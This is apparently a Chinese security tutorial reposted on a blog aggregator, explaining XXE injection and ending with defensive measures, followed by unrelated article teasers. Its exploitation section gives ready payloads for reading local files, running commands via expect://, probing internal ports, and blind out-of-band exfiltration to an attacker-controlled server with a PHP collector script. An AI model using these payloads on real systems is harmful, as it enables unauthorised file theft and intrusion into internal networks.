XXE漏洞简介

目录

漏洞原理

漏洞危害

前置知识

XML简介

DTD简介

DTD的两种声明方式  

实体 

实体分类

内置实体(Built-inentities)

字符实体(Characterentities) 

通用实体(Generalentities)

参数实体(Parameterentities)

XXE漏洞出现场景

XXE漏洞利用

任意文件读取

系统命令执行

探测内网端口

无回显XXE漏洞利用

XXE防御措施


漏洞原理

            XXE Injection XML External Entity Injection XML 外部实体注入攻击) 攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据。 对于 XXE 漏洞最为关键的部分是 DTD 文档类型 DTD 的作用是定义 XML 文档的合法构建模块。 DTD 可以在 XML 文档内声明, 也可以外部引用, libxml2.9.1 及以后, 默认不再解析外部实体。

漏洞危害

当允许引用外部实体时, 通过恶意构造, 可以导致以下常见的危害:

  • 任意文件读取

  • 执行系统命令

  • 探测内网端口

前置知识

XML简介

   XML 指可扩展标记语言,XML 被设计用来传输和存储数据,你可以理解为就是⼀种写法类似于html语⾔的数据格式⽂档。但是xmlhtml是为不同⽬的⽽设计的,html旨在显⽰数据信息,⽽xml旨在传输数据信息。

DTD简介

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

DTD的两种声明方式  

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

1.内部DTD:对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。

2.外部DTD:对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。

注释:这里只介绍外部DTD。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<root>&xxe;</root>

!ELEMENT root ANY 定义元素为ANY,既可以接受任何元素;

!ENTITY xxe SYSTEM "file:///c:/test.dtd" 定义了一个外部实体,文档会对c:/test.dtd文件资源进行引用,这是一种用SYSTEM关键字的引用方式。

实体 

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

  • 实体引用是对实体的引用。

  • 实体可在内部或外部进行声明。

实体分类

内置实体(Built-inentities)
实体实体引用含义
quot"双引号
amp&(“and”符)
apos'(撇号或单引号)
lt<小于号
gt>大于号
字符实体(Characterentities) 
实体名称符号十进制参考十六进制参考
quot"&#34;&#x22;
amp&&#38;&#x26;
apos'&#39;&#x27;
lt<
&#60;
&#x3C;
gt>&#62;&#x3E;

其中内置实体和字符实体都和html的实体编码类似,有十进制和十六进制,一个实体由三部分构成:一个和号(&),一个实体名称,以及一个分号(;)。

通用实体(Generalentities
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
参数实体(Parameterentities)
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">%remote-dtd;

 remote.dtd:

<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">

XXE漏洞出现场景

  • XXE漏洞主要是关注测试的目标系统,是否存在请求传输XML数据格式的API,如果遇到有XML数据格式传输的请求,就可进一步操作看是否存在XXE漏洞。

  • 可上传excel文件的上传点、图片上传点

XXE漏洞利用

有回显XXE和无回显XXE

任意文件读取

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

 

系统命令执行

注意:在安装 expect 扩展的 PHP 环境里执行系统命令;

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://ipconfig" >]>
<foo>&xxe;</foo>

windows用ipconfig,linux用ifconfig

探测内网端口

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://192.168.1.6:22" >]>
<foo>&xxe;</foo>

可以在ip后面的端口爆破,爆破出开放的端口。

无回显XXE漏洞利用

<?xmlversion="1.0"encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-
encode/resource=/c:/windows/win.ini">
<!ENTITY %remote SYSTEM "http://192.168.220.132/entities.dtd">
%remote;
%all;
%send;
]>

entities.dtd 中代码如下: 

<!ENTITY %all
"<!ENTITY &#x25; send SYSTEM 'http://192.168.64.130/test.php?file=%file;'>">

注:“%”转成html实体编码是因为在实体的值中不能有%,所以需要转换成:% 

test.php中的代码如下:

<?php
$file="./test.txt";
$content=base64_decode($_GET['file']);file_put_contents($file,$content);
echo"\n";
?>

XXE防御措施

1. 字符串实体编码
字符转义
"&quot;
&&amp;
'&apos;
<&lt;
>&gt;

2.过滤用户提交的 XML 数据, 关键词: , SYSTEM  PUBLIC

3.禁用外部实体: libxml_disable_entity_loader(true)

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/20599.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

嵌入式Linux shell编程实例

1. 输入两个数&#xff0c;实现两个数的相加 &#xff08;1&#xff09;具体实现代码如下 1 #!/bin/bash2 read a3 read b4 sum$(($a$b))5 echo "$sum"&#xff08;2&#xff09;编辑完内容后按Esc键再输入:wq保存&#xff0c;回车退出&#xff0c;执行结果如下图&a…

系统安全及其应用

系统安全及其应用 部署服务器的初始化步骤&#xff1a; 1、配置IP地址&#xff0c;网关&#xff0c;DNS解析 2、安装源&#xff0c;外网&#xff08;在线即可yum&#xff09; 内网&#xff08;只能用源码包编译安装&#xff09; 3、磁盘分区 lvm raid 4、系统权限配置和基础安…

Django里多app

在 Django 里的某一个项目&#xff0c;里面得包含很多 App (功能)&#xff0c;那么如何在该项目里管理这么多App呢&#xff1f; 先说明下背景&#xff1a;未先创建 apps 文件夹来存各个app文件夹&#xff0c;直接在项目文件目录里创建各个app。为了便于管理&#xff0c;得将各…

WireShark下载安装

下载地址 WireShark站内下载资源&#xff1a;&#xff08;土豪方便下载&#xff09; https://download.csdn.net/download/qq_58662768/89377088 官网下载&#xff1a; Wireshark Go Deep 进入主页后&#xff0c;选择Get Acquainted&#xff0c;再选择Download。 选择合适…

【vue3|第4期】Vue3的选项式与组合式

日期&#xff1a;2024年5月30日 作者&#xff1a;Commas 签名&#xff1a;(ง •_•)ง 积跬步以致千里,积小流以成江海…… 注释&#xff1a;如果您觉得有所帮助&#xff0c;帮忙点个赞&#xff0c;也可以关注我&#xff0c;我们一起成长&#xff1b;如果有不对的地方&#xf…

【IPFS应用开发】基于IPFS的视频播放器

本系列文章是针对 https://blog.csdn.net/weixin_43668031/article/details/83962959 内容的实现所编写的。开发经历包括思考过程、重构和推翻重来。 基于IPFS的视频播放器 想写一个真正的、基于IPFS的&#xff0c;可以播放IPFS上的视频的程序支持多种数据加载格式同时支持单文…

CentOS7某天的samba服务搭建操作记录(还没成功)

#CentOS7 yum软件仓库阿里云 samba服务器配置失败 sensors成功了 (花了200元组装H61测试机&#xff0c;75元的主板只有一块能用&#xff0c;垃圾板但又不完全能用&#xff09; 2024.5月的某天记录如下&#xff1a; https://blog.csdn.net/dszgf5717/article/details/53732182 …

一篇文章讲透数据结构之树

一.树 1.1树的定义 树是一种非线性的数据结构&#xff0c;它是有n个有限结点组成的一个具有层次关系的集合。把它叫做树是因为它看起来像一棵倒挂的树&#xff0c;也就是说它是根在上&#xff0c;叶在下的。 在树中有一个特殊的结点&#xff0c;称为根结点&#xff0c;根结点…

VSCode插件Data Previewer

此插件支持直接在vscode 里对csv&#xff0c;xlsx等数据做可视化、统计探索 1. 安装 2. 使用效果 2.1. yaml文件 2.2. xml文件 2.3. csv文件 可以对文件进行各种分析&#xff0c;如此多的选项 散点图 线图 参考文献 GitHub - RandomFractals/vscode-data-preview: Data Pre…

通过DLL方式链接glfw3.dll

主要是CMakeLists.txt文件变化 cmake_minimum_required(VERSION 3.10) project(glfwTest) set(CMAKE_CXX_STANDARD 11) aux_source_directory(. SRC_SOURCES) set(GLFW_INCLUDE_DIR ${CMAKE_SOURCE_DIR}/include) set(GLFW_LIBRARY_DIR ${CMAKE_SOURCE_DIR}/lib/glfw) add_ex…

关于Maven环境变量配置的报错The JAVA_HOME environment variable is not defined correctly的解决

天行健&#xff0c;君子以自强不息&#xff1b;地势坤&#xff0c;君子以厚德载物。 每个人都有惰性&#xff0c;但不断学习是好好生活的根本&#xff0c;共勉&#xff01; 文章均为学习整理笔记&#xff0c;分享记录为主&#xff0c;如有错误请指正&#xff0c;共同学习进步。…

40号渐变灰色背景证件照要求,手机拍照轻松拍干部照片

灰色渐变背景的证件照是一种常见的照片类型&#xff0c;在干部档案、事业单位工作人员信息采集、履历及升迁公示等阶段会用到&#xff0c;按照规范需要使用40号渐变灰色背景。很多朋友不清楚40号灰色是哪种灰色&#xff0c;以及照片的尺寸要求&#xff0c;下面就重点介绍40号渐…

C++编程:模板初阶

目录 一、泛型编程 1、通用版交换函数的实现&#xff1a; 2、模板的引入 二、函数模板 1、函数模板的定义和使用 2、函数模板的实例化 三、类模板 1、类模板的定义和实例化 模板是C的一项强大特性&#xff0c;犹如中国古代四大发明中的活字印刷术与造纸术融为一体一般&a…

牛客网刷题 | BC103 金字塔图案

目前主要分为三个专栏&#xff0c;后续还会添加&#xff1a; 专栏如下&#xff1a; C语言刷题解析 C语言系列文章 我的成长经历 感谢阅读&#xff01; 初来乍到&#xff0c;如有错误请指出&#xff0c;感谢&#xff01; 描述 KiKi学习了循环&am…

C++:细谈Sleep和_sleep

ZINCFFO的提醒 还记得上上上上上上上上上上上上上上上上上上&#xff08;上的个数是真实的&#xff09;篇文章吗&#xff1f; 随机应变——Sleep()和_sleep() 但在ZINCFFO的C怪谈-02中&#xff1a; 我不喜欢Sleep...... 奤&#xff1f;媜煞鷥&#xff01; 整活&#xff01;…

Java的JDK环境变量配置(Windows)

只写了需要配置的环境变量 注&#xff1a;从JDK1.5开始&#xff0c;配置Java环境变量时&#xff0c;不再需要配置CLASSPATH&#xff0c;只需要配置JAVA_HOME和Path 1、配置JAVA_HOME 找到自己的JDK位置&#xff0c;我这里是 C:\dev\java\jdk-17.0.119在环境变量-系统变量中&…

电商商城管理系统

前言&#x1f440;~ 将近一个月没更新了&#xff0c;最近忙着学校的大作业&#xff0c;一个是微信小程序的、一个是互联网编程的&#xff0c;也是忙完了这个大作业&#xff0c;这个大作业前端使用了vue、后端使用了java&#xff0c;接下来展示一些效果图&#xff0c;如果有需要…

深度学习复盘与论文复现A

文章目录 一、查漏补缺复盘1、python中zip()用法2、Tensor和tensor的区别3、计算图中的迭代取数4、nn.Modlue及nn.Linear 源码理解5、知识杂项思考列表6、KL散度初步理解 二、处理多维特征的输入1、逻辑回归模型流程2、Mini-Batch (N samples) 三、加载数据集1、Python 魔法方法…

TPL0401B使用教程

1.前言 前面做程控放大器的时候&#xff0c;有除开AD602&#xff0c;还有一个AD620&#xff0c;性能更好&#xff0c;不过是通过外部电阻来控制放大倍数的&#xff0c;不过要是接滑动变阻器就太不优雅了&#xff0c;而且单片机怎么控制滑动变阻器&#xff1f;&#xff08;难不…

C++双层Vector容器详解

双层Vector容器 关于C中二维vector使用 双层vector的运用细节 插入元素 //正确的插入方式 vector<vector<int> > A; //A.push_back里必须是vector vector<int> B; B.push_back(0); B.push_back(1); B.push_back(2); A.push_back(B); B.clear(); B.push_back…